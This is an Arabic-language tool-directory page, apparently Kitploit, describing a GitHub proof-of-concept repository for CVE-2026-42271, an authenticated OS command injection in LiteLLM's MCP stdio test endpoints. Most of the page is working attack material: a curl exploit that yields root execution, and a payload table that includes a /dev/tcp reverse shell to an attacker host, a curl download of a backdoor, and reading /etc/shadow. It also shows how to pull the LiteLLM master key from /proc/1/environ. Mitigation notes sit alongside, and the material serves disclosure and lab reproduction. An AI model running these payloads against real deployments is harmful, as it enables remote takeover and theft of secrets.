Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42271-PoC — الكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة شخصيًا | Kitploit
أدوات/GitHubGitHub/learner202649/cve-2026-42271-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالتعلم والتعليمالفريق الأحمرمختبرات وتدريب عملي
GitHublearner202649/cve-2026-42271-poc

CVE-2026-42271-PoC

الكود الخاص بإعادة إنتاج الثغرة الأمنية المقابلة شخصيًا

عرض المستودع
13منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42271 — حقن أوامر مصادق عليه في LiteLLM عبر نقاط نهاية اختبار MCP stdio

LiteLLM POST /mcp-rest/test/connection و POST /mcp-rest/test/tools/list — حقن أوامر مصادق عليه عبر نقل MCP stdio. يمكن لأي مفتاح API صالح تنفيذ أوامر نظام تشغيل عشوائية بصلاحيات root (في نشر Docker الافتراضي).

الصورة مثبّتة عبر digest: الحاوية المعرضة للخطر مثبّتة على LiteLLM v1.82.6، لضمان قابلية إعادة إنتاج طويلة الأمد.

الحقلالقيمة
CVECVE-2026-42271
CVSS v4.08.7 (مرتفع) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
CVSS v3.18.8 (مرتفع) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-77 / CWE-78 (حقن أوامر نظام التشغيل)
الإصدارات المتأثرةLiteLLM >= 1.74.2, < 1.83.7
الإصلاحv1.83.7+ (تمت إضافة القائمة البيضاء للأوامر + فحص دور PROXY_ADMIN)
تاريخ النشر2026-05-08
الإصدار المثبّتv1.82.6 — الصورة مثبّتة عبر digest لضمان قابلية إعادة إنتاج طويلة الأمد
الروابطGHSA-v4p8-mg3p-g94g • NVD • استشارة GitLab

الوصف

نقطتا نهاية تُستخدمان لمعاينة خادم MCP قبل حفظه — POST /mcp-rest/test/connection و POST /mcp-rest/test/tools/list — تقبلان إعدادًا كاملًا لخادم MCP في جسم الطلب، بما في ذلك حقول command و args و env المستخدمة بواسطة نقل stdio.

عند استدعائها بإعداد stdio، تشغّل نقطتا النهاية الأمر المقدَّم كـعملية فرعية على مضيف البروكسي بصلاحيات عملية البروكسي (root في Docker الافتراضي).

المشكلة الأساسية: تتحقق نقطتا النهاية فقط من صحة مفتاح API صالح للبروكسي دون أي فحص للدور — حتى مفاتيح internal_user ذات الصلاحيات المنخفضة يمكنها استغلال هذا.


إثبات المفهوم

بدء سريع (Docker)

root@kitploit:~
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d

# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

التحقق من التنفيذ

root@kitploit:~
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...

يُرجع الـ API الرسالة "Failed to connect to MCP server" لأن العملية المُشغَّلة لا تتواصل عبر بروتوكول MCP — لكن الأمر قد نُفِّذ بالفعل بصلاحيات root.


سيناريوهات الهجوم

السيناريوالحمولة
RCE أساسي"args": ["-c", "id > /tmp/pwned"]
قراءة الملفات"args": ["-c", "cat /etc/shadow > /tmp/out"]
استخراج متغيرات البيئة`"args": ["-c", "cat /proc/1/environ
شل عكسي"args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]
الثبات"args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"]

نقاط النهاية المعرضة للخطر

POST /mcp-rest/test/connection

تختبر اتصال خادم MCP. مع نقل stdio، تشغّل الأمر المقدَّم.

POST /mcp-rest/test/tools/list

تسرد الأدوات من خادم MCP للاختبار. السلوك نفسه — تشغّل الأمر المقدَّم عند استخدام نقل stdio.

تنسيق جسم الطلب

root@kitploit:~
{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<malicious command>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}
الحقلالنوعمطلوبالوصف
transportstringنعميجب أن يكون "stdio" لحقن الأوامر
commandstringنعمالملف التنفيذي المراد تشغيله (مثل: bash, python, curl)
argsarrayنعمالوسائط التي تُمرَّر إلى الأمر
envobjectلامتغيرات البيئة للعملية الفرعية

تحليل التصحيح (v1.83.7)

أضاف الإصلاح طبقتين من الدفاع:

  1. قائمة بيضاء للأوامر عبر validate_transport_fields() — تسمح فقط بـ: npx, uvx, python, python3, node, docker, deno
  2. التحكم في الوصول القائم على الأدوار — يتطلّب كلٌّ من نقطتي النهاية الآن دور PROXY_ADMIN

هيكل المستودع

root@kitploit:~
CVE-2026-42271/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Payload generation module
├── docs/
│   └── advisory.md            # Advisory reference
└── screenshots/               # Proof screenshots

التخفيف

  1. قم بالترقية إلى LiteLLM v1.83.7+ (القائمة البيضاء للأوامر + فحص دور PROXY_ADMIN)
  2. احجب /mcp-rest/test/connection و /mcp-rest/test/tools/list عند البروكسي العكسي
  3. قيّد صلاحيات مفاتيح API — قم بتدوير المفاتيح إذا كان هناك اشتباه في تعرضها للاختراق
  4. شغّل بصلاحيات غير root في Docker: docker run --user 1000:1000 ...

⚠️ ملاحظة: عزل متغيرات بيئة MCP SDK

عند إعادة إنتاج القسم 5.7 (استخراج متغيرات بيئة العملية)، يجب التنبّه إلى أن MCP Python SDK v1.25.0+ لا يرث متغيرات البيئة من العملية الأم لـ LiteLLM عند إنشاء عمليات stdio الفرعية. يمرّر الـ SDK عبر get_default_environment() قيم HOME و PATH فقط، ثم يدمجها مع حقل env المحدَّد صراحةً من قبل المستخدم.

لذلك، env > /tmp/env_dump لا يمكنه التقاط LITELLM_MASTER_KEY.

الطريقة الصحيحة: استخراج متغيرات البيئة عبر قراءة ملف /proc/1/environ الخاص بالعملية الرئيسية لـ LiteLLM:

root@kitploit:~
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key

التفاصيل في تقرير إعادة الإنتاج القسم 5.7.


المراجع

  • استشارة أمان GitHub GHSA-v4p8-mg3p-g94g
  • استشارة GitLab
  • تفاصيل NVD
  • إصدار v1.83.7-stable
  • توثيق LiteLLM MCP

إخلاء مسؤولية: هذا المحتوى مقدَّم لأغراض تعليمية ولأغراض الاختبارات الأمنية المصرَّح بها فقط.

تنزيل الأداة